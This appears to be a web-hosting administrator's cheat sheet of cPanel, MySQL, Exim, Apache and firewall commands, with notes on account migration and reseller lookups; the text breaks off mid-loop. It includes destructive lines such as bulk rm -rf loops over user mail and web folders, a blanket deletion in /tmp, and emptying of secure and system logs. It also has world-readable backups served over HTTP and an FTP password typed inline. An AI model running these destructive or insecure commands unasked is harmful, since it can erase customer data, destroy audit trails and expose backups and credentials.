mysqlcheck -r -o whitecde_wrdp2
myisamchk --max-record-length=1048576 -r -f /var/lib/mysql/itsyours_mybb/mybb_threads
mysqlcheck --auto-repair teluguyu_TLY
mysqladmin drop peoplesv_testdb
mysqladmin create peoplesv_testdb
mysqladmin drop peoplesv_testdb
mysqladmin variables | grep have_innodb
cp -i -p ../innodb-bad/ibdata1 ../innodb-bad/ib_logfile0 ../innodb-bad/ib_logfile1 ./
By default any database that uses the InnoDB engine, stores all of the InnoDB data in a single file:
/var/lib/mysql/ibdata1
InnoDB
http://blog.bottomlessinc.com/2010/03/innodb-engine-disabled-when-specifying-a-buffer-pool-size-too-high/
#innodb_force_recovery=4
#skip-innodb
root@power [/tmp]# cat /etc/my.cnf
[mysqld]
skip-locking
key_buffer = 384M
max_allowed_packet = 1M
max_connections = 300
max_user_connections = 15
wait_timeout=40
connect_timeout=10
table_cache = 512
sort_buffer_size = 2M
read_buffer_size = 2M
read_rnd_buffer_size = 8M
myisam_sort_buffer_size = 64M
thread_cache_size = 8
query_cache_size = 32M
server-id = 1
#innodb_force_recovery=4
#skip-innodb
[mysqldump]
quick
max_allowed_packet = 16M
[mysql]
no-auto-rehash
[myisamchk]
key_buffer = 256M
sort_buffer_size = 256M
read_buffer = 2M
write_buffer = 2M
[mysqlhotcopy]
interactive-timeout
Q: du -csh * = it will show the size of the file on the current directory.
Q: ll | wc -l := For backup
Q. How to configure Blackberry for email
Ans: http://www.everyone.net/pdf/eu_guide_blackberry_jun07.pdf
egrep "X-PHP-Script" * -R
find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
#cp -rp mail (mail is directoy name) -------------------> copy folder in linux
*********************************************************************************************************************
Command for fantastico is not working
# /scripts/makecpphp
makecpphp log path
/usr/local/cpanel/logs/easy/apache/
/usr/local/cpanel/logs/easy/apache/build.1336864303
*********************************************************************************************************************
Cron log file :- tail -f /var/log/cron
path of cron :- vi /var/spool/cron/username
How to check logs :- tail -f /var/log/messages
tail -f /var/log/lfd.log
/usr/local/apache/domlogs/ftpxferlog
/var/log/xferlog
/usr/local/cpanel/logs/tailwatchd_log
/var/cpanel/logs
*********************************************************************************************************************
Backup restore :
check backup in daily
login to whm >> daily >> find username >> mark last 3 option >> done
*********************************************************************************************************************
Error Messege : ionCube PHP Loader ioncube_loader_lin_5.2.so to be installed by the site administrator.
Ans :
Create a custom php.ini in that particular folder and insert below code in it.
zend_extension="/usr/local/IonCube/ioncube_loader_lin_5.2.so"
*********************************************************************************************************************
Apache note working: http service not working
http://www.cosmicscripts.com/servers/startingapache.html
httpd not working
cd /usr/local/apache/logs/
ll
echo > access_log
echo > error_log
/etc/init.d/httpd restart
/etc/init.d/httpd restart
fuser 443/tcp
fuser 80/tcp
*********************************************************************************************************************
E-mail problem
Try to send & receive an test e-mail frm yahoo/hotmail.
If id not given then create test account & then send/receive.
tail -f /var/log/exim_mainlog
If not then
vi /etc/localdomains check the domain in this
if blacklist error occurs then
ifconfig
vi /etc/exim.conf
serch remote_smtp
go to interface line comment that line and above line paste any ip from ifconfig
and restart the service of exim
--Check permisson of directorys
/var/spool/exim/input/
--Mail and etc folder for user
#perl -pi -e 's/(useSendmail.*?= )false/$1true/g' /usr/local/cpanel/base/3rdparty/squirrelmail/config/config.php
/etc/init.d/exim restart
/etc/init.d/courier-authlib restart
/etc/init.d/courier-imap restart
/etc/init.d/dovecot restart
/etc/init.d/xinetd status if stop
/etc/init.d/xinetd start or restart
/scripts/courierup
/scripts/restartsrv_cppop
/scripts/dovecotup
tail -f /var/log/exim_mainlog
/scripts/restartsrv_dovecot
/scripts/restartsrv_imap
/scripts/restartsrv_exim
/scripts/restartsrv_inetd
/scripts/restartsrv_courier
/scripts/restartsrv_cppop
/scripts/restartsrv_xinetd
# /scripts/setupmailserver --current
*********************************************************************************************************************
How to restore database :-
mysql cartoons_manjul < cartoons_manjul_wp_20100307_192.sql
mysqldump database name > database name.sql
mysql database_name < database_name.sql
*********************************************************************************************************************
How to download backup :-
/script/pkgact username
tar -zcvf directoryname.tar.gz directoryname
Eg
tar -zcvf sachol.tar.gz school ( where school is directory name)
mv cpmove-filename /usr/local/apache/htdocs
chmod 777 cpmove-suelospr.tar.gz
http://server ip/cpmove-suelospr.tar.gz
http://66.7.218.134/cpmove-suelospr.tar.gz
-----------------------------------------------------------------------------------------------------------
mysqldump database name > database name.sql
mysql database_name < database_name.sql
*********************************************************************************************************************
1 )Updates the server software:
/scripts/upcp
2) Reinstalls exim:
/scripts/exim4
3) Bandwidth issues
/scripts/cleanbw
4) To fix problem in webalizer that stop updating stats
/scripts/fixwebalizer
5) Self Explanatory
/scripts/fixcommonproblems
/scripts/fixeverything
6)Fixing Mail List MailMan
/usr/local/cpanel/bin/convertmailman2
7) Run cpanel backup
/scripts/cpbackup
To try and fix domain controller
/scripts/fixndc
9) Quotas
/scripts/initquotas – takes a while to run
/scripts/resetquotas
/scripts/fixquotas – takes a while to run
10) Add a Dns Entry
/scripts/adddns
11) Install Frontpage Mail Exts
/scripts/addfpmail
12) Add JavaServlets to an account (jsp plugin required)
/scripts/addservlets
13) Add a User
/scripts/adduser
14) Run WHM Lite
/scripts/admin
15) Add Rlimits (cpu and mem limits) to apache
/scripts/apachelimits
16) Resync with a master DNS Server
/scripts/dnstransfer
17) Edit A User’s Quota
/scripts/editquota
18) Search For Trojans in /dev
/scripts/finddev
19) Locate Trojan Horses
/scripts/findtrojans
20) Suggest Usage
/scripts/findtrojans > /var/log/trojans
/scripts/fixtrojans /var/log/trojans
21) Make Interchange work with suexec
/scripts/fixcartwithsuexec
22) Fix Most Problems with Interchange
/scripts/fixinterchange
23) Run on a trojans horse file created by findtrojans to remove them
/scripts/fixtrojans
24) Run this if a user’s stats stop working
/scripts/fixwebalizer
25) Fix a broken valias file
/scripts/fixvaliases
26) Turn on DMA and 32bit IDE hard drive access (once per boot)
/scripts/hdparamify
27) Re-scan quotas. Usually fixes Disk space display problems
/scripts/initquotas
28) Turn on SUEXEC (probably a bad idea)
/scripts/initsuexec
29) Display Ipusage Report
/scripts/ipusage
29) Terminate an Account
/scripts/killacct
30) Delete “Security Problem Infested RPMS”
/scripts/killbadrpms
31) Fix Various Mail Permission Problems
/scripts/mailperm
32) Attempt to Troubleshoot a Mail Problem
/scripts/mailtroubleshoot
33) Change a Mysql Password
/scripts/mysqlpasswd
34) Kill Potential Security Problem Services
/scripts/quicksecure
35) Rebuild Ip Address Pool
/scripts/rebuildippool
36) Delete Nasty SSL entry in apache default httpd.conf
/scripts/remdefssl
37) Restart a Service (valid services: httpd,proftpd,exim,sshd,cppop,bind,mysql)
/scripts/restartsrv (example: /scripts/restartsrv httpd)
38) Syncup Security Updates from RedHat/Mandrake
/scripts/rpmup
39) Force a webalizer/analog update
/scripts/runlogsnow
40) Remove non-important suid binaries
/scripts/secureit
41) Install Frontpage 4+ on an account
/scripts/setupfp4
42) Return a Simple process list. Useful for finding where cgi scripts are running from
/scripts/simpleps
43) Suspend an account
/scripts/suspendacct
44) Syncup Cpanel RPM Updates
/scripts/sysup
45) Unblock an IP
/scripts/unblockip
46) UnSuspend an account
/scripts/unsuspendacct
47) Update Cpanel
/scripts/upcp
48) Update /scripts
/scripts/updatenow
49) Create a New Account
/scripts/wwwacct
50) Awstats to run manually
/scripts/runweblogs account_username
/scripts2/listassignednsips
This function has moved to /scripts2/listassignednsips. You will be redirected there in 5 seconds...
v Main >> Networking Setup >> Nameserver IPs
*********************************************************************************************************************
Account move procedure:
steps :
1.on existing server :
/scripts/pkgacct username
cd /home
mv cpmove-filename /usr/local/apache/htdocs
cd /usr/local/apache/htdocs
ll
chmod 777 cpmove-suelospr.tar.gz
2. On the server on which the account is to be moved :
wget http://66.7.218.166/cpmove-swisspac.tar.gz means wget http://server ip/cpmove file
cp cpmove-biterscr.tar.gz /home
/scripts/restorepkg username
`
3.change entry in poweradmin
4. change entry in billing.
*********************************************************************************************************************
Cpanel File Path:
/usr/local/cpanel/3rdparty
Cpanel config file path
/var/cpanel/cpanel.config
/usr/local/cpanel/etc/cpanel.config
/usr/local/cpanel/base/3rdparty/squirrelmail/
/usr/local/cpanel/base/3rdparty/
Cpanel logs:
/usr/local/cpanel/logs/
/usr/local/cpanel/3rdparty/etc/php.ini
*********************************************************************************************************************
order deny,allow
deny from all
allow from 124.124.124.117 49.248.107.114 187.140.11.93
deny from 49.248.107.114
http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/
Disable site using .htaccess code
<Files *>
Order Deny,Allow
Deny from all
Allow from localhost
</Files>
<Files "api.php">
Order Allow,Deny
Deny from All
</Files>
<Files php.ini>
Order Deny,Allow
Deny from all
Allow from localhost
</Files>
*********************************************************************************************************************
Email account deletion from cpanel list
root@max [/home/zadioorg/.cpanel]# vi email_accounts.yaml
*********************************************************************************************************************
Fantistico location:
cd /var/netenberg
*********************************************************************************************************************
find . -type f -name "*.mpef"
*********************************************************************************************************************
Forwarder File:
vi /etc/valiases/domain-name
*********************************************************************************************************************
Google mails not working:
add domain name.
vi /etc/remotedomains
/scripts/updateuserdomains
*********************************************************************************************************************
ll /home/*/*.tar.gz |awk '{print "rm -rf " $9}'
*********************************************************************************************************************
log files:
access_log (in rotation)
access_logs
audit_log
error_log (in rotation)
error_logs
suexec_log (in rotation)
suexec_log.offset
suphp_log (in rotation)
*********************************************************************************************************************
Mailman fix command:
/scripts/fixmailman
*********************************************************************************************************************
php -i | grep upload_max_filesize
*********************************************************************************************************************
Pop restart command:
/scripts/restartsrv_cppop
/etc/init.d/ipaliases restart
*********************************************************************************************************************
Port users finding command:
lsof -p 25
lsof -p <PID>
lsof -i -n -P
netstat -a 25
netstat -nan |grep 25
netstat -a | egrep 'Proto|LISTEN'
to get port numbers instead of having the utility try to provide names for services:
netstat -an | egrep 'Proto|LISTEN'
For instance, if you wanted to find out what was up with port 631, you might use this command:
grep -w 631 /etc/services
netstat -lnptu
lsof -i -n | egrep 'COMMAND|LISTEN'
----------------------------------------------
Check Syn Attact
netstat -plane | grep SYN | awk '{print $5}' | cut -d : -f 1 | sort | uniq -c
Attack
#netstat -plan |grep :80|awk '{print $5}' |cut -d: -f1 |sort |uniq -c |sort -n
#netstat -an | grep SYN|sort|uniq|awk '{print $5}'|sed 's/\:/ /g'|awk '{print "csf -d "$1}'
****************
process id check command:
lsof -p process-id
*****************************************************************************************************
Rebuild IP pool command to know number of free Ips on server
/scripts/rebuildippool
Free Ips on server
Ip which is Free
cat /etc/ipaddrpool
Assigned Dedicated Ips:
cat /etc/domainips
max emails per hour
maxemailsperhour
cat /var/cpanel/maxemailsperhour
*********************************************************************************************************************
original :
find ! -regex '.*\.\(tex\)' -exec echo {} \;
1. to clear /tmp folder without deleting mysql socket.
caution : rm command
find ! -regex '.*\.\(sock\)' -exec rm {} \;
*********************************************************************************************************************
SSH Command:
ssh -p 1097 3ixteam@pluto.host-care.com
How to ssh to another server:
ssh -p 3131 njsghdow@72.29.71.17
*********************************************************************************************************************
Terminate account :
/scripts/killacc username
Unsuspend Account:
/scripts/unsuspendacct username
Zen optimiser installtion cmd
/scripts/installzendopt
*********************************************************************************************************************
/scripts/upcp --force
use when email account creation shows ajax error.
vi /etc/valiases/domain-name
*********************************************************************************************************************
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
<IfModule mod_headers.c>
Header unset Content-Type
Header unset Content-Disposition
Header set Content-Disposition attachment
Header set Content-Type application/octet-stream
Header add Content-Type application/force-download
Header add Content-Type application/download
Header unset Content-Transfer-Encoding
Header set Content-Transfer-Encoding binary
</IfModule>
*********************************************************************************************************************
To create socket file:
ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock
*********************************************************************************************************************
Cmds:
wget --output-document=/dev/null http://www.lyte.com.uy/bo/newsletters_envios.php
Copy folders using ftp
wget -r ftp://username:password@ip.of.old.host
wget -r ftp://user:pass@server.com/
wget -r –ftp-user=”admin@domain.com” –ftp-password=aq1sw2de3 ftp://ip.of.old.host/*
/scripts/unsuspendacct anadolud
header("Refresh: 0;url=http://www.hostdigital.com.ar");
mysql> show engines
dig hungrypenguin.net MX
ftp://loversba@www.k4we.com/public_html/vb/showthread.php
*********************************************************************************************************************
Set permissions of all user files
find /home*/*/public_html -type d -perm 0777 -exec chmod 755 {} \;
find /home*/*/public_html -type f -perm 0777 -exec chmod 755 {} \;
find /home*/*/public_html -type f -perm 0666 -exec chmod 644 {} \
*********************************************************************************************************************
To check gd is installed on sever
rpm -q php-gd
rpm -q gd
Imagemagick binary /usr/bin/convert
To check verion
/usr/bin/convert -version
Code to check it is insatlled on server
<?php
$canvas = new Imagick();
?>
*********************************************************************************************************************
RewriteEngine on
Redirect 301 http://secure.mydomain.com https://secure.mydomain.com
http://forums.theplanet.com/index.php?showtopic=33360
How to redirect http://domain.com/cpanel to port 2083
Add the following to your httpd.conf
ScriptAlias /webmail /usr/local/cpanel/base/wredirect.cgi
ScriptAlias /cpanel /usr/local/cpanel/base/sredirect.cgi
ScriptAlias /whm /usr/local/cpanel/base/swhmredirect.cgi
*********************************************************************************************************************
Go to /home
Let assume cPanel username sagar
execute following commands in /home
chown sagar.sagar sagar -R
chown sagar.mail sagar/etc -R
chown sagar.nobody sagar/public_html
rm -rf sagar/.cpanel
*********************************************************************************************************************
How to make root domain .htaccess not affect to subdomain
http://www.webmasterworld.com/apache/3132035-1-30.htm?highlight=blog
RewriteCond %{HTTP_HOST} ^blog\.mydomain\.net(:80)?$ [NC]
RewriteRule (.*) - [L]
*********************************************************************************************************************
Cmd to check which Linux Version are you using: Distribution of Linux
cat /etc/redhat-release
cat /proc/version
*********************************************************************************************************************
safe_mode_allowed_env_vars = TZ
safe_mode_protected_env_vars =
*********************************************************************************************************************
http://drupal.org/node/30334
The trick is to modify .htaccess to ignore specific files/folders. So for example, if you have two folders, <folder1> and <folder2> in the root of your Drupal installation, modify your .htaccess file by inserting the following code directly after the "RewriteEngine on" directive, before the Drupal rewrites:
=========[ start of .htaccess snippet]==========
<IfModule mod_rewrite.c>
RewriteEngine on
#
# stuff to let through (ignore)
RewriteCond %{REQUEST_URI} "/folder1/" [OR]
RewriteCond %{REQUEST_URI} "/folder2/"
RewriteRule (.*) $1 [L]
#
====================[ end ]=====================
*********************************************************************************************************************
Set Balck hole:
1 /etc/valiases/domainame.com
Add below line:
*: blackhole: :fail:
*: :blackhole:
*: :fail: No Such User Here
*: username
*********************************************************************************************************************
Procedures
WHW-Livechat: ## assign him stored procedure ,command in mysql as
GRANT EXECUTE ON PROCEDURE mafiarul_themostbeautiful.zzzzACategory to 'mafiarul_usertmb'@'localhost';
*********************************************************************************************************************
Httpd down :
ipcs -s | grep nobody
ipcs -s | grep nobody | perl -e 'while (<STDIN>) { @a=split(/\s+/); print `ipcrm sem $a[1]`}'
To find out the script sending mails :
egrep "X-PHP-Script" * -R
Remove all frozen mails :
/usr/sbin/exim -bp | awk '$6~"frozen" { print $3 }' | xargs exim –Mrm
exim -qff -v -C /etc/exim.conf & -
Find big files on server :
1. find /home -name "*" -size +1000000k
2. find */public_html/* -name .pure*
3. find */public_html/* -name error_log*
4. find */public_html/* -name backup-*
5. locate .pureftpd- | xargs rm –fv
find /home/*/public_html -iname '*.pureftp' -exec mv "{}" /home/remove \;
find /home/*/public_html -iname 'backup-' -exec mv "{}" /home/delete \;
du -h --max-depth=1 | grep G
CPU:
ps -eo pcpu,pid,user,args | sort -k 1 -r | head -10
memory :
ps -auxf | sort -nr -k 4 | head -10
PRM check
cd /usr/local/prm
prm –s
cd rules/
ls
cat nobody
cat nobody.user
ps auxf | grep update
ps auxf
Crond process check
tail -f /var/log/cron
cd /var/spool/cron/user
min hr dom wd dow
Remove nobody files :
ll |grep nobody |awk '{print "rm -rf " $9}'
Empty log :
echo > btmp
echo > chkservd.log
echo > cron
echo > cron.1
echo > cron.2
echo > cron.3
echo > cron.4
echo > exim_mainlog
echo > exim_paniclog
echo > exim_rejectlog
echo > maillog
echo > maillog.1
echo > maillog.2
echo > maillog.3
echo > maillog.4
echo > messages
echo > messages.1
echo > messages.2
echo > messages.3
echo > messages.4
echo > secure
echo > secure.1
echo > secure.2
echo > secure.3
echo > secure.4
rm -rf 0*
rm -rf 1*
rm -rf 2*
rm -rf 3*
rm -rf 4*
rm -rf 5*
rm -rf 6*
rm -rf 7*
rm -rf 8*
rm -rf 9*
rm -rf a*
rm -rf b*
rm -rf c*
rm -rf d*
rm -rf e*
rm -rf f*
Please send proof attachments to prove that this is your site content and links where we can see the complaint you placed.
*********************************************************************************************************************
Text base Web browser
lynx http://comercin.com/index.html
*********************************************************************************************************************
Cpanel php.ini file
/usr/local/cpanel/3rdparty/etc/php.ini
*********************************************************************************************************************
Configuration files
cat /var/cpanel/cpanel.config
cat /etc/stats.conf
*********************************************************************************************************************
Cmds
Commands:
egrep -hi "skip(analog|awstats|webalizer)|stats" /var/cpanel/cpanel.config
grep -HiR "STATGENS" /var/cpanel/users
*********************************************************************************************************************
/usr/local/apache/domlogs/ftp.paginalia.es-ftp_log
cat /home/paginali/tmp/webalizerftp
/home/paginali/tmp/awstats
Language file path for awastat
/usr/local/cpanel/3rdparty/share/awstats/lang/
*********************************************************************************************************************
Disable error Logs for a domain:
1)
In php.ini
error_log = ""
log_errors = Off
2)
or comment line in http.confi for particular domain
CustomLog /usr/local/apache/logs/access_log common
ErrorLog “logs/error_log”
3)
Admin>Features and Options> Enable Error Logging>untick that>save
*********************************************************************************************************************
Error:
Warning: file_get_contents() [function.file-get-contents]: URL file-access is disabled in the server configuration in /home/contrare/public_html/a.php on line 2
1. php.ini
allow_url_fopen = On
*********************************************************************************************************************
Update webalizer preserving
http://forums.cpanel.net/f5/updating-webalizer-manually-53254.html
cd /home/USER/tmp/
cp -af webalizer webalizer.old
cp -af webalizerftp webalizerftp.old
cd webalizer
/usr/local/cpanel/3rdparty/bin/webalizer /usr/local/apache/domlogs/domainname -n domainname
*********************************************************************************************************************
SCP
#scp cpmove-esofof.tar.gz 67.23.238.200:
scp -pr root@a.b.c.d:/home/filename.gz /home
SSH
[fritzs@cerberus ~]$ ssh root@67.23.243.231 -p 1157
*********************************************************************************************************************
Check apache configuration are correct before restaring the apache service
apachectl configtest
/usr/local/apache/bin/apachectl configtest
Config test
httpd -t
*********************************************************************************************************************
-rwxr-xr-x 1 root root 22398697 Feb 8 09:39 /usr/local/bin/php*
755
*********************************************************************************************************************
Installing Softaculous in cPanel
http://www.softaculous.com/docs/Installing_Softaculous_in_cPanel
Installing Softaculous in Direct Admin
http://www.softaculous.com/docs/Installing_Softaculous_in_Direct_Admin
Path : /usr/local/cpanel/whostmgr/docroot/cgi/softaculous
Scripts Path : /var/softaculous
PHP Binary: /usr/local/cpanel/3rdparty/bin/php
This is the binary that will be used for the CRON Job and also other purposes. If empty then /usr/bin/php will be used.
http://www.softaculous.com/docs/Determine_Servers_IP
wget http://softaculous.com/ip.php; cat ip.php; echo "";
*********************************************************************************************************************
Process, if we install any plugin from whm:
cpsrvd
whostmgrd - serving 124.124.124.117
root 4136 3.0 0.2 104620 11620 ? S 07:36 0:00 | \_ /var/cpanel/3rdparty/bin/php /usr/local/cpanel/whostmgr/docroot/cgi/s
*********************************************************************************************************************
#echo core*
#rm -rf core*
*********************************************************************************************************************
phpmyadmin
update snaps set name = replace(name, 'JPG', 'jpg')
*********************************************************************************************************************
RvsiteBuilder:
Do not do this:
WARNING: RVSiteBuilder recommend maximum size of POST data 105 or above.
To avoid the problem, please SSH to the server as root and run
perl /var/cpanel/rvglobalsoft/rvsitebuilder/panelmenus/cpanel/scripts/autofixphpini.pl .
You can edit DB user name, DB password ,DB name in
/var/cpanel/rvglobalsoft/rvsitebuilder/var/mainIP.default.ini.php
Log Path
/var/cpanel/rvglobalsoft/rvsitebuilder/var/log/php_log.txt
/var/cpanel/rvglobalsoft/rvsitebuilder/
Auto Backup RVSiteBuilder:
perl /var/cpanel/rvglobalsoft/rvsitebuilder/rvsBackup.pl 'backup' > /dev/null
Disable RVSiteBuilder for a user:
WHM>> Plugins >> RVSiteBuilder Manager >> User Control List
Enable RVSiteBuilder for all resellers and their clients:
WHM>> Plugins >> RVSiteBuilder Manager >> Reseller Control List
*********************************************************************************************************************
Fantastico De Luxe WHM Admin
WHM>> Plugins >> Fantastico De Luxe WHM Admin >> Features Sets
*********************************************************************************************************************
jtablesession::Store Failed
http://www.youtukan.com/joomla/jtablesession-store-failed-db-function-failed-with-error-number-1062.html
http://www.joomla-tips.org/joomla-troubleshooter/jtablesessionstore-failed-db-function-failed-with-error-number-1062.html
http://www.fasthostinghelp.com/error-db-function-failed-t82.html?s=33dd0d2b2a46e8e1abc01a9ab52342e6&
1. Make sure that the db files are owned by mysql if it is linux system; generally they are found at /var/lib/mysql.
2. Check if you are not running out of disk space.
3. Check if the permissions of the db files are correct.
4. Or try to repair the table.
*********************************************************************************************************************
Do not use this
cd /tmp
remove all the file and folders except the files and folders start with word 'm'
rm -rf [^m]*
*********************************************************************************************************************
/scripts/restorepkg --force efinet
/scripts/restorepkg --force pixelon
*********************************************************************************************************************
php.ini settings:
safe_mode = On
open_basedir =
disable_functions =
allow_url_fopen = On
short_open_tag = On
Set expose_php to Off in php.ini To Hide PHP Version Information on Web Server
expose_php = Off
ini_set('expose_php',0);
*********************************************************************************************************************
Mails location:
/mail/domainname.com/username/cur/
/mail/obatek.com/anijide/cur/anijide.tar (i.e)
*********************************************************************************************************************
Ways to increase ftp transter speed
http://www.linuxquestions.org/questions/linux-newbie-8/ways-to-increase-ftp-transter-speed-786906/
# increase TCP max buffer size setable using setsockopt()
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
# increase Linux autotuning TCP buffer limits
# min, default, and max number of bytes to use
# set max to at least 4MB, or higher if you use very high BDP paths
net.ipv4.tcp_rmem = 4096 87380 16777216
net.ipv4.tcp_wmem = 4096 65536 16777216
and then executed sysctl -p,
*********************************************************************************************************************
crontab -l -u usntube
crontab -e -u usntube
*********************************************************************************************************************
WhM >> Exim >> Domains and IPs>> Send outgoing mail from the IP that matches the domain name in /etc/mailips (*: IP can be added to the file to change the main outgoing interface)
*********************************************************************************************************************
Change Routing IP
remote_smtp:
driver = smtp
interface = 173.236.13.246
#helo_data = ${if exists {/etc/mailhelo}{${lookup{$sender_address_domain}lsearch*{/etc/mailhelo}{$value}{$primary_hostname}}}{$primary_hostname}}
*********************************************************************************************************************
Exim Help
http://serversignature.com/exim-command-line-options
*********************************************************************************************************************
Secure permissions
chmod 750 /usr/bin/rcp
chmod 750 /usr/bin/wget
chmod 750 /usr/bin/lynx
chmod 750 /usr/bin/links
chmod 750 /usr/bin/scp
chmod 000 /etc/httpd/proxy/
*********************************************************************************************************************
You may face this error while creating forwarders in cpanel, General cause of this error is incorrect permissions of /etc/valiases/domain.com. Please go through the following fix.
root@server [~]# cd /etc/valiases/
root@server [~]# chown username:mail domain.com
OR
root@server [~]# /scripts/fixvaliases
*********************************************************************************************************************
Redirect Webmail:
1. add: www.webmail A record entry
2. mkdir webmail
3. .htaccess
RewriteEngine on
RewriteCond %{HTTP_HOST} ^webmail.easylearnghana.com$ [OR]
RewriteCond %{HTTP_HOST} ^www.webmail.easylearnghana.com$
RewriteRule ^(.*)$ https://easylearnghana.com:2096/3rdparty/horde/index.php?_task=mail$1 [R=301,L]
OR
RewriteEngine on
RewriteCond %{HTTP_HOST} ^webmail.easylearnghana.com$ [OR]
RewriteCond %{HTTP_HOST} ^www.webmail.easylearnghana.com$
RewriteRule ^(.*)$ http://easylearnghana.com:2095/3rdparty/horde/index.php?_task=mail$1 [R=301,L]
*********************************************************************************************************************
function rmove from php.ini (It will not prompt for username and passowrd while connect to ftp via wordpress) setmyuid
*********************************************************************************************************************
Deny Ip
vi /etc/csf/csf.conf
CC_DENY = "FR,RU,TR"
*********************************************************************************************************************
Security
Send passwords when creating a new account [?]
*********************************************************************************************************************
mysql
SHOW PROCESSLIST;
*********************************************************************************************************************
Find reseller accounts:
grep marisaav /etc/trueuserowners
grep "OWNER=solucio3" -r /var/cpanel/users
grep -r "OWNER=kkwcom" /var/cpanel/users | cut -d : -f 1 | cut -d / -f 5
grep -r "OWNER=kkwcom" /var/cpanel/users | cut -d : -f 1 | cut -d / -f 1-5
To find reseller owners domain name
#grep -r "OWNER=kkwcom" /var/cpanel/users | cut -d : -f 1 | cut -d / -f 1-5 | grep DNS= $(xargs)
# grep -r "OWNER=kkwcom" /var/cpanel/users | cut -d : -f 1 | cut -d / -f 1-5 | grep DNS= $(xargs) | cut -d = -f 2
Exact account under the reseller account
#grep "OWNER=solucio3" -r /var/cpanel/users | cut -d : -f 1 | cut -d / -f 5
grep mysql php.ini -n --color
Domain Name:
??????# egrep "OWNER=townengi|DNS=" -r /var/cpanel/users
grep c2n /etc/trueuserdomains
To find out the username and domain name
grep username /etc/userdomains
To check the IPs aggigned to Reseller Clients
cd /tmp
grep -r "OWNER=superost" /var/cpanel/users | cut -d : -f 1 | cut -d / -f 5 | tee fileresller ; cd /var/cpanel/users ; cat /tmp/fileresller | xargs cat | grep --color IP=
Find Sevrer Dedicated IPs:
cat /etc/ips
To find Nameservers IPs:
cat /etc/nameserverips
To check free IPs on server: (Free Dedicated Ip on servers)
/scripts/rebuildippool
/etc/init.d/ipaliases restart
To check the zone file on server:
cat /var/named/domainname.com.db
To check mail server routing ip:
grep -A 2 remote_smtp /etc/exim.conf | grep interface --color
grep daemon_smtp_ports /etc/exim.conf --color
daemon_smtp_ports = 25 : 26 : 465 : 587
1 ) Mail from 173.236.99.82 refused by RBL, RSS, or DUL, please see
www.mail-abuse.com
To check block country
grep CC_DENY /etc/csf/csf.conf --color
root@real [/tmp]# csf -g 78.164.175.56
Chain num pkts bytes target prot opt in out source destination
CC_DENY 794 13927 688K DROP all -- * * 78.160.0.0/11 0.0.0.0/0
root@real [/tmp]# csf -g 78.164.175.56
Chain num pkts bytes target prot opt in out source destination
CC_DENY 794 13991 691K DROP all -- * * 78.160.0.0/11 0.0.0.0/0
LOCALINPUT 634 0 0 DROP all -- !lo * 78.164.175.56 0.0.0.0/0
LOCALOUTPUT 631 0 0 DROP all -- * !lo 0.0.0.0/0 78.164.175.56
csf.deny: 78.164.175.56 # Manually denied - Mon Aug 29 15:34:03 2011
wc /etc/csf/csf.deny
ifconfig | grep "inet addr"
ifconfig -a | grep inet | awk {'print $2'}
To find the files which are created/mofied in home directory within 1 hour
#find -maxdepth 2 -ctime -1 -name "*tar.gz*" -exec ls -lh {} \;
find -maxdepth 2 -ctime -1 -name "*tar.gz*" -exec mv -v {} /usr/local/apache/htdocs/ \; -print
Change uppercase to lowwer case
cat test | tr [A-Z] [a-z]
To move a text file into upper case letters, you can use Awk in the following way:
#awk ‘{ print toupper($0) }’ old_file > new_file
ll $(which wget)
ll /tmp/ | awk {'print $3'} | sort | uniq -c | sort -n
*********************************************************************************************************************
Increase phpmyadmin upload limit
root@power [/usr/local/cpanel/3rdparty/etc/phpmyadmin]#vi php.ini
post_max_size
upload_max_filesize
memory_limit
vi my.cnf
max_allowed_packet
phpMyadmin uses the php.ini in /usr/local/cpanel/3rdparty/etc/php.ini , memory_limit = 512M was adjusted and then
/usr/local/cpanel/install_php_inis to install the custom php.ini for phpMyAdmin
*********************************************************************************************************************
httpd -v (Version details)
httpd -V ( show compile settings)
httpd -l (To check module installled)
httpd -t
How to check gzip compression is enable on the server or domain.
http://www.eukhost.com/forums/f15/how-check-gzip-compression-enable-8932/
*********************************************************************************************************************
Spf
v=spf1 a:power.superdnssite.com -all
v=spf1 a mx ip4:67.23.243.231 ptr:core-cre.com mx:harvestpress.com mx:mail.harvestpress.com ip4:97.74.144.118 a:core-cre.com include:core-cre.com mx:core-cre.com -all
*********************************************************************************************************************
HOW-TO install ffmpeg, Mplayer, mencoder,FLVtool2 and Yamdi on Plesk Linux based
http://www.grafxsoftware.com/faq.php/HOW-TO-install-ffmpeg-Mplayer-mencoderFLVtool2-and-Yamdi-on-Plesk-Linux-based-server/1/16/
*********************************************************************************************************************
Copying skel files from /home/alojaweb/cpanel3-skel/
*********************************************************************************************************************
“How to check and open ports in Linux”
Option 1:
Check /etc/services file
planetmy:/ # cat /etc/services | grep xxx (xxx = port number)
Option 2:
Use netstat command – Print network connections, routing tables, interface statistics, masquerade connections, and multicast memberships.
planetmy:/ # netstat -nan | grep 22
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 7110/sshd
Option 3:
use lsof command – list open files
planetmy:/ # lsof -i -n -P|grep 631
Option 4:
use nmap command – Network exploration tool and security scanner
planetmy:/ # nmap -sS -O 192.168.1.2
*********************************************************************************************************************
************************************************************************************************************************
Restore
1) cat finaluserlist1 | sort -n
2) cat finaluserlist1 | sort -n | awk '{print $2}'
3) cat finaluserlist1 | cut -d _ -f3 | cut -d . -f1 (Username list)
Check domain name
cat /var/cpanel/users/rubielse | grep DNS
for user in `cat finaluserlist1`
do
nice --15 /scripts/pkgacct $user && echo package account done for $user >> finalpkgaccount.txt
done ;
for user in `cat file`
do
/scripts/whoowns $user | echo "Done for $user $(xargs) " ; done ;
Remove files:
for user in `cat rellerowner`
do
echo Change Directorey to $user
find /home/$user -maxdepth 2 -type d -name ".log" -ok rm -rf {} \;
done ;
for user in `grep "OWNER=ciberter" -r /var/cpanel/users | cut -d : -f 1 | cut -d / -f 5`
do
nice --15 rm -rfv /home/$user/mail && rm -rfv /home/$user/public_html/ echo Mail Removed $user >> MailFolderRemoved.txt
done ;
#grep "OWNER=pasiones" -r /var/cpanel/users
Exact account under the reseller account
#grep "OWNER=pasiones" -r /var/cpanel/users | cut -d : -f 1 | cut -d / -f 5
Chage ownershipr and copy php.ini file:
for user in `cat usersfile`
do
cp -v /home/dfx/public_html/php.ini /home/$user/public_html/
